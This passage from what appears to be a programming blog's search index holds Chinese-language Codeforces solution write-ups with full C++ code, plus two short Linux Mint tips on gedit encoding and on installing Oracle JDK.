思路：做过一个三部分的。。。两部分直接一个前缀和就好了把。。。有一个需要注意的是。。判断负数是否是奇数的时候需要加个绝对值。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月29日 星期二 16时09分06秒 4File Name :code/cf/problem/18C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n; 35int total; 36int sum[N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40// freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 cin\u003e\u003en; 44 sum[0] = 0 ; 45 for ( int i = 1 ; i \u003c= n ; i++) 46 { 47 int x; 48 cin\u003e\u003ex; 49 sum[i] = sum[i-1]+x; 50 } 51 52 total = sum[n]; 53 if (abs(total)%2==1) 54 { 55 puts(\"0\"); 56 return 0; 57 } 58 total /=2; 59 int ans = 0 ; 60 for ( int i = 1 ; i \u003c= n-1 ; i++) 61 { 62 if (sum[i]==total) ans++; 63 } 64 cout\u003c\u003cans\u003c\u003cendl; 65 66 #ifndef ONLINE_JUDGE 67 fclose(stdin); 68 #endif 69 return 0; 70}","date":"2015-12-29","externalUrl":null,"permalink":"/2015/12/cf18c/","section":"Posts","summary":"http://codeforces.com/contest/18/problem/C 题意：将一个序列分成两个非空的部分，保证和相等，问有多少种方法。 思路：做过一个三部分的。。。两部分直接一个前缀和就好了把。。。有一个需要注意的是。。判断负数是否是奇数的时候需要加个绝对值。。。","tags":["前缀和"],"title":"codeforces 18 C. Stripe","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/12/problem/C 题意：有n个价格价格，m个要买的东西（可能有相同的种类，设为k种），把n个标签中拿出k个给个贴上。。。问最大价钱和最少价钱分别是多少。 思路：贪心。不过要按照map的value排序。。然后发现其实不用排序。。因为map的key值其实不影响。 vector降序排列的话。。直接 sort(v.rbegin(),v.rend());就好。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月29日 星期二 15时30分54秒 4File Name :code/cf/problem/12C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n,m; 35map\u003cstring,int\u003emp; 36int a[N]; 37map\u003cstring,int\u003e::iterator it; 38vector\u003cint \u003ev; 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"code/in.txt\",\"r\",stdin); 43 #endif 44 mp.clear(); 45 cin\u003e\u003en\u003e\u003em; 46 for ( int i = 0; i \u003c n ; i++) cin\u003e\u003ea[i]; 47 sort(a,a+n); 48 49 for ( int i = 0 ; i \u003c m ; i++) 50 { 51 string tmp; 52 cin\u003e\u003etmp; 53 if (!mp[tmp]) 54 { 55 mp[tmp] = 1; 56 } 57 else 58 { 59 mp[tmp]++; 60 } 61 } 62 63 64 for ( it = mp.begin() ; it !=mp.end() ; it++) 65 { 66 v.push_back(it-\u003esecond); 67 } 68 int mi,mx; 69 mi=mx=0; 70 sort(v.rbegin(),v.rend()); 71 for ( int i = 0 ; i \u003c v.size() ; i++) 72 { 73 mi +=a[i]*v[i]; 74// cout\u003c\u003c\"v[i]:\"\u003c\u003cv[i]\u003c\u003cendl; 75 mx +=a[n-1-i]*v[i];\\ 76 //cout\u003c\u003c\"mi:\"\u003c\u003cmi\u003c\u003c\" mx:\"\u003c\u003cmx\u003c\u003cendl; 77 } 78 cout\u003c\u003cmi\u003c\u003c\" \"\u003c\u003cmx\u003c\u003cendl; 79 80 81 82 #i","date":"2015-12-29","externalUrl":null,"permalink":"/2015/12/cf12c/","section":"Posts","summary":"http://codeforces.com/contest/12/problem/C 题意：有n个价格价格，m个要买的东西（可能有相同的种类，设为k种），把n个标签中拿出k个给个贴上。。。问最大价钱和最少价钱分别是多少。 思路：贪心。不过要按照map的value排序。。然后发现其实不用排序。。因为map的key值其实不影响。","tags":["greedy","map","stl"],"title":"codeforces 12 C. Fruits","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/16/problem/C 题意：给定长宽a,b和分辨率x:y,注意分辨率x:y未必是最简比。问将现有的size裁剪成比例为x:y，使得面积最大的长宽是多少。 思路：可以通过找 x,y能扩大的倍数为k，找到一个最大的k使得k*x\u003c=a\u0026\u0026k;*y\u003c=b。可以二分搞，但其实也可以不用。能扩大的最大的倍数其实就是 min(a/x,b/y). ps:收获了gcd更简单的一种写法。 直接 return b?gcd(b,a%b):a; 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月28日 星期一 22时50分23秒 4File Name :code/cf/problem/16C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL a,b,x,y; 34LL ax=0,ay=0; 35LL ans = -1; 36LL GCD; 37LL gcd(LL a,LL b) 38{ 39 if (a\u003cb) return gcd(b,a); 40 if (a%b==0) return b; 41 return gcd(b,a%b); 42 // return b?gcd(b,a%b):a; 43} 44 45 46int main() 47{ 48 #ifndef ONLINE_JUDGE 49 freopen(\"code/in.txt\",\"r\",stdin); 50 #endif 51 cin\u003e\u003ea\u003e\u003eb\u003e\u003ex\u003e\u003ey; 52 GCD = gcd(x,y); 53 x /=GCD; 54 y /=GCD; 55 cout\u003c\u003cx*min(a/x,b/y)\u003c\u003c\" \"\u003c\u003cy*min(a/x,b/y)\u003c\u003cendl; 56 57 #ifndef ONLINE_JUDGE 58 fclose(stdin); 59 #endif 60 return 0; 61} 62 63 64 65 66 67 68 69 while ( l != r ) 70 { 71 mid = (l+r+1)\u003e\u003e1; 72 if ( x*mid \u003c= a \u0026\u0026 y*mid \u003c= b ) l = mid; 73 else r = mid-1; 74 } 75 if ( x*l \u003e a || y*l \u003e b ) puts ( \"0 0\" ); 76 else printf ( \"%I64d %I64d\\n\" , l*x , l*y );","date":"2015-12-29","externalUrl":null,"permalink":"/2015/12/codeforces-16-c-monitor/","section":"Posts","summary":"http://codeforces.com/contest/16/problem/C 题意：给定长宽a,b和分辨率x:y,注意分辨率x:y未必是最简比。问将现有的size裁剪成比例为x:y，使得面积最大的长宽是多少。 思路：可以通过找 x,y能扩大的倍数为k，找到一个最大的k使得k*x\u003c=a\u0026\u0026k;*y\u003c=b。可以二分搞，但其实也可以不用。能扩大的最大的倍数其实就是 min(a/x,b/y). ps:收获了gcd更简单的一种写法。 直接 return b?gcd(b,a%b):a;","tags":["gcd","数论"],"title":"codeforces 16 C. Monitor","type":"post"},{"categories":["其他"],"content":"1gconftool-2 --set --type=list --list-type=string /apps/gedit-2/preferences/encodings/auto_detected \"[UTF-8,CURRENT,GB18030,ISO-8859-15,UTF-16]\"","date":"2015-12-28","externalUrl":null,"permalink":"/2015/12/linux-mint-gedit-/","section":"Posts","summary":"1gconftool-2 --set --type=list --list-type=string /apps/gedit-2/preferences/encodings/auto_detected \"[UTF-8,CURRENT,GB18030,ISO-8859-15,UTF-16]\"","tags":["gedit","linux mint"],"title":"linux mint  gedit 中文乱码","type":"post"},{"categories":["其他"],"content":"Open up the Terminal (Alt + F2 \u003e Terminal). Remove OpenJDK installation. 1sudo apt-get update \u0026\u0026 apt-get remove openjdk* Download Oracle JDK from here. You are looking for a linux version with tar.gz extension. Also choose the right version from 32-bit (x86) and 64bit (x64) one. Change directory into one with downloaded tarball. In my case $HOME/Downloads. 1cd ~/Downloads Extract tarball. Replace with a name of dowloaded file. (just press Tab and it will be autocompleted.) 1tar -zxvf jdk- As a root create a folder in /opt where jdk will be stored. 1sudo mkdir -p /opt/java Move extracted folder to /opt/java. In my case, version number was 1.7.0_25. 1sudo mv jdk1.7.0_25 /opt/java Make JDK system default. 1sudo update-alternatives --install \"/usr/bin/java\" \"java\" \"/opt/java/jdk1.7.0_25/bin/java\" 1 2 3sudo update-alternatives --set java /opt/java/jdk1.7.0_25/bin/java Test installed java version. java version “1.7.0_25” Java(TM) SE Runtime Environment (build 1.7.0_25-b15) Java HotSpot(TM) 64-Bit Server VM (build 23.25-b01, mixed mode) 1$ java -version","date":"2015-12-28","externalUrl":null,"permalink":"/2015/12/linux-mint--oracle-jdk-/","section":"Posts","summary":"Open up the Terminal (Alt + F2 \u003e Terminal). Remove OpenJDK installation. 1sudo apt-get update \u0026\u0026 apt-get remove openjdk* Download Oracle JDK from here. You are looking for a linux version with tar.gz extension. Also choose the right version from 32-bit (x86) and 64bit (x64) one.","tags":["jdk"],"title":"在linux mint 上安装 Oracle JDK 的方法","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/612/problem/C 题意：其实就是栈的基本操作。。水题。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月25日 星期五 22时58分50秒 4File Name :code/cf/edu4/C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E6+7; 34int len; 35char st[N]; 36int cost = 0 ; 37 38char a[N]; 39int n ; 40 41 42int which(char ch) 43{ 44 if (ch=='\u003c'||ch=='{'||ch=='('||ch=='[') return 1; 45 return 2; 46} 47int kin(char ch) 48{ 49 if (ch=='{'||ch=='}') return 1; 50 if (ch=='['||ch==']') return 2; 51 if (ch=='\u003c'||ch=='\u003e') return 3; 52 if (ch=='('||ch==')') return 4; 53} 54bool ok(char x,char y) 55{ 56 int res = 0 ; 57 if(x=='\u003c'||x=='{'||x=='['||x=='(') res++; 58 if (y=='\u003e'||y=='}'||y==']'||y==')') res++; 59 if (res==2) 60 { 61 if (kin(x)!=kin(y)) cost++; 62// cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" y:\"\u003c\u003cy\u003c\u003cendl; 63 return true; 64 } 65 return false; 66} 67 68int main() 69{ 70 #ifndef ONLINE_JUDGE 71 freopen(\"code/in.txt\",\"r\",stdin); 72 #endif 73 cin\u003e\u003est; 74 len = strlen(st); 75 int head = -1; 76 int ans = 0 ; 77 78 for ( int i = 0 ; i \u003c len ; i++) 79 { 80 if (head==-1) 81 { 82 head++; 83 a[head] = st[i]; 84 if (which(st[i])==2) 85 { 86 puts(\"Impossible\"); 87 return 0; 88 } ","date":"2015-12-27","externalUrl":null,"permalink":"/2015/12/cf612c/","section":"Posts","summary":"http://codeforces.com/contest/612/problem/C 题意：其实就是栈的基本操作。。水题。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月25日 星期五 22时58分50秒 4File Name :code/cf/edu4/C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E6+7; 34int len; 35char st[N]; 36int cost = 0 ; 37 38char a[N]; 39int n ; 40 41 42int which(char ch) 43{ 44 if (ch=='\u003c'||ch=='{'||ch=='('||ch=='[') return 1; 45 return 2; 46} 47int kin(char ch) 48{ 49 if (ch=='{'||ch=='}') return 1; 50 if (ch=='['||ch==']') return 2; 51 if (ch=='\u003c'||ch=='\u003e') return 3; 52 if (ch=='('||ch==')') return 4; 53} 54bool ok(char x,char y) 55{ 56 int res = 0 ; 57 if(x=='\u003c'||x=='{'||x=='['||x=='(') res++; 58 if (y=='\u003e'||y=='}'||y==']'||y==')') res++; 59 if (res==2) 60 { 61 if (kin(x)!=kin(y)) cost++; 62// cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" y:\"\u003c\u003cy\u003c\u003cendl; 63 return true; 64 } 65 return false; 66} 67 68int main() 69{ 70 #ifndef ONLINE_JUDGE 71 freopen(\"code/in.txt\",\"r\",stdin); 72 #endif 73 cin\u003e\u003est; 74 len = strlen(st); 75 int head = -1; 76 int ans = 0 ; 77 78 for ( int i = 0 ; i \u003c len ; i++) 79 { 80 if (head==-1) 81 { 82 head++; 83 a[head] = st[i]; 84 if (which(st[i])==2) 85 { 86 puts(\"Impossible\"); 87 return 0; 88 } 89 90 continue; 91 } 92 if (ok(a[head],st[i])) 93 { 94 head--; 95 } 96 else 97 { 98 head++; 99 a[head] = st[i]; 100 } 101 102// cout\u003c\u003c\"head:\"\u003c\u003chead\u003c\u003cendl; 103 } 104// cout\u003c\u003c\"head:\"\u003c\u003chead\u003c\u003cendl; 105 if (head!=-1) 106 { 107 puts(\"Impossible\"); 108 } 109 else 110 { 111 cout\u003c\u003ccost\u003c\u003cendl; 112 } 113 114 #ifndef ONLINE_JUDGE 115 fclose(stdin); 116 #endif 117 return 0; 118}","tags":["水题"],"title":"codeforces 612 C. Replace To Make Regular Bracket Sequence","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/612/problem/B 水。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月25日 星期五 22时58分38秒 4File Name :code/cf/edu4/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E5+7; 34int n; 35struct node 36{ 37 int val; 38 int id; 39 40 bool operator \u003c(node b)const 41 { 42 return val\u003cb.val; 43 } 44}q[N]; 45int main() 46{ 47 #ifndef ONLINE_JUDGE 48 freopen(\"code/in.txt\",\"r\",stdin); 49 #endif 50 cin\u003e\u003en; 51 for ( int i = 1 ; i \u003c= n ; i++ ) 52 { 53 scanf(\"%d\",\u0026q[i].val); 54 q[i].id = i; 55 } 56 sort(q+1,q+n+1); 57 LL ans = 0 ; 58 q[0].id = 0 ; 59 for ( int i = 1 ; i \u003c= n-1 ; i++) 60 { 61 ans += LL (abs(q[i+1].id-q[i].id)); 62 } 63 cout\u003c\u003cans\u003c\u003cendl; 64 65 #ifndef ONLINE_JUDGE 66 fclose(stdin); 67 #endif 68 return 0; 69}","date":"2015-12-27","externalUrl":null,"permalink":"/2015/12/cf612b/","section":"Posts","summary":"http://codeforces.com/contest/612/problem/B 水。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月25日 星期五 22时58分38秒 4File Name :code/cf/edu4/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E5+7; 34int n; 35struct node 36{ 37 int val; 38 int id; 39 40 bool operator \u003c(node b)const 41 { 42 return val\u003cb.val; 43 } 44}q[N]; 45int main() 46{ 47 #ifndef ONLINE_JUDGE 48 freopen(\"code/in.txt\",\"r\",stdin); 49 #endif 50 cin\u003e\u003en; 51 for ( int i = 1 ; i \u003c= n ; i++ ) 52 { 53 scanf(\"%d\",\u0026q[i].val); 54 q[i].id = i; 55 } 56 sort(q+1,q+n+1); 57 LL ans = 0 ; 58 q[0].id = 0 ; 59 for ( int i = 1 ; i \u003c= n-1 ; i++) 60 { 61 ans += LL (abs(q[i+1].id-q[i].id)); 62 } 63 cout\u003c\u003cans\u003c\u003cendl; 64 65 #ifndef ONLINE_JUDGE 66 fclose(stdin); 67 #endif 68 return 0; 69}","tags":["水题"],"title":"codeforces 612 B. HDD is Outdated Technology","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/612/problem/A 水题…直接枚举就好。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月25日 星期五 22时58分26秒 4File Name :code/cf/edu4/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n,p,q; 35char st[N]; 36bool v[10005]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 cin\u003e\u003en\u003e\u003ep\u003e\u003eq; 43 cin\u003e\u003est; 44 ms(v,false); 45 int b,c; 46 for ( int i = 0 ; i*p\u003c=105 ; i++ ) 47 { 48 for ( int j = 0 ; j*q \u003c= 105 ; j++) 49 { 50 v[i*p+j*q] = true; 51 if (i*p+j*q==n) 52 { 53 b = i; 54 c = j; 55 } 56 } 57 } 58// cout\u003c\u003c\"b:\"\u003c\u003cb\u003c\u003cendl; 59// cout\u003c\u003c\"c:\"\u003c\u003cc\u003c\u003cendl; 60 if (!v[n]) 61 { 62 puts(\"-1\"); 63 } 64 else 65 { 66 int cnt = 0 ; 67 printf(\"%d\\n\",b+c); 68 for ( int i = 1 ; i \u003c= b ; i++) 69 { 70 for ( int i = 0 ; i \u003c p ; i++) 71 printf(\"%c\",st[cnt]),cnt++; 72 printf(\"\\n\"); 73 } 74 for ( int i =1 ; i \u003c= c ; i++) 75 { 76 for ( int i = 0 ; i \u003c q ; i++) 77 printf(\"%c\",st[cnt]),cnt++; 78 printf(\"\\n\"); 79 } 80 } 81 82 83 84 #ifndef ONLINE_JUDGE 85 fclose(stdin); 86 #endif 87 return 0; 88}","date":"2015-12-27","externalUrl":null,"permalink":"/2015/12/cf612a/","section":"Posts","summary":"http://codeforces.com/contest/612/problem/A 水题…直接枚举就好。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月25日 星期五 22时58分26秒 4File Name :code/cf/edu4/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n,p,q; 35char st[N]; 36bool v[10005]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 cin\u003e\u003en\u003e\u003ep\u003e\u003eq; 43 cin\u003e\u003est; 44 ms(v,false); 45 int b,c; 46 for ( int i = 0 ; i*p\u003c=105 ; i++ ) 47 { 48 for ( int j = 0 ; j*q \u003c= 105 ; j++) 49 { 50 v[i*p+j*q] = true; 51 if (i*p+j*q==n) 52 { 53 b = i; 54 c = j; 55 } 56 } 57 } 58// cout\u003c\u003c\"b:\"\u003c\u003cb\u003c\u003cendl; 59// cout\u003c\u003c\"c:\"\u003c\u003cc\u003c\u003cendl; 60 if (!v[n]) 61 { 62 puts(\"-1\"); 63 } 64 else 65 { 66 int cnt = 0 ; 67 printf(\"%d\\n\",b+c); 68 for ( int i = 1 ; i \u003c= b ; i++) 69 { 70 for ( int i = 0 ; i \u003c p ; i++) 71 printf(\"%c\",st[cnt]),cnt++; 72 printf(\"\\n\"); 73 } 74 for ( int i =1 ; i \u003c= c ; i++) 75 { 76 for ( int i = 0 ; i \u003c q ; i++) 77 printf(\"%c\",st[cnt]),cnt++; 78 printf(\"\\n\"); 79 } 80 } 81 82 83 84 #ifndef ONLINE_JUDGE 85 fclose(stdin); 86 #endif 87 return 0; 88}","tags":["brute force","字符串","水题"],"title":"codeforces 612 A. The Text Splitting","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/612/problem/D 题意：给出n个线段信息，每个线段以l,r的形式给出。给定k。要求从作到右给出至少有k个线段覆盖的区间的信息。并使得区间数目尽可能少。 思路：很经典的一类问题…又想起了当年在tyvj上海洋兄给我的那个把线段比喻成公路，把两个端点比喻成收费站的比喻了。做法是把所有点的信息按照从小到大排序，并且记录点的类型信息，如果点相同，那么我们规定入口处的优先级高。用pair来搞的话。。可以把入口的type规定成-1，出口规定成1.然后从最左边的点开始扫，遇到-1的点厚度+1，遇到1的点厚度-1.当厚度为k的时候记录区间信息。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月26日 星期六 00时14分09秒 4File Name :code/cf/edu4/D.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E6+7; 34int n ,k; 35 36vector\u003c pi\u003e v,ans; 37 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 cin\u003e\u003en\u003e\u003ek; 44 45 for ( int i =1 ;i \u003c= n ; i++) 46 { 47 int s,e; 48 scanf(\"%d %d\",\u0026s,\u0026e); 49 v.push_back(MP(s,-1)); 50 v.push_back(MP(e,1)); 51 } 52 53 sort(v.begin(),v.end()); 54 55 n = v.size(); 56 57 int cnt = 0 ; 58 pi tmp; 59 for ( int i = 0 ; i \u003c n ; i++) 60 { 61 if (v[i].sec==-1) 62 { 63 cnt++; 64 if (cnt==k) 65 { 66 tmp.fst = v[i].fst; 67 } 68 } 69 else 70 { 71 if (cnt==k) 72 { 73 tmp.sec = v[i].fst; 74 ans.push_back(tmp); 75 } 76 cnt--; 77 } 78 } 79 n = ans.size(); 80 printf(\"%d\\n\",n); 81 for ( int i = 0 ; i \u003c n ; i++) 82 { 83 printf(\"%d %d\\n\",a","date":"2015-12-27","externalUrl":null,"permalink":"/2015/12/cf612d/","section":"Posts","summary":"http://codeforces.com/contest/612/problem/D 题意：给出n个线段信息，每个线段以l,r的形式给出。给定k。要求从作到右给出至少有k个线段覆盖的区间的信息。并使得区间数目尽可能少。","tags":["sortings"],"title":"codeforces 612 D. The Union of k-Segments","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/327/problem/A 题意：给定一段序列，只由0,1组成。要求选一段非空区间，做翻转操作（0变1,1变0），问变完之后1最多能有多少。 思路：最后的1个个数=初始的1的个数+变换区间的0的个数-变换区间的1的个数。初始的是常数。那么我们只要找到某一个区间内，0的个数-1的个数有最大值即可。如果a[i]==0的时候令b[i]=1，否则b[i]=0,那就是经典了最大连续区间和的问题了。dp的思想o(n)可以解决。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月25日 星期五 21时35分22秒 4File Name :code/cf/problem/327A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n ; 35int a[N],b[N]; 36int ans; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 cin\u003e\u003en; 44 ans = 0 ; 45 for ( int i = 0 ; i \u003c n ; i++) 46 { 47 cin\u003e\u003ea[i]; 48 if (a[i] ==0) b[i] = 1; 49 else b[i] = -1; 50 if (a[i]==1) ans++; 51 } 52 int sum=-inf,last=-inf; 53 for ( int i = 0 ; i \u003c n ; i++) 54 { 55 last = max(last,0)+b[i]; 56 sum = max(sum,last); 57 } 58 ans +=sum; 59// cout\u003c\u003c\"sum:\"\u003c\u003csum\u003c\u003cendl; 60 cout\u003c\u003cans\u003c\u003cendl; 61 62 #ifndef ONLINE_JUDGE 63 fclose(stdin); 64 #endif 65 return 0; 66}","date":"2015-12-25","externalUrl":null,"permalink":"/2015/12/cf327a/","section":"Posts","summary":"http://codeforces.com/contest/327/problem/A 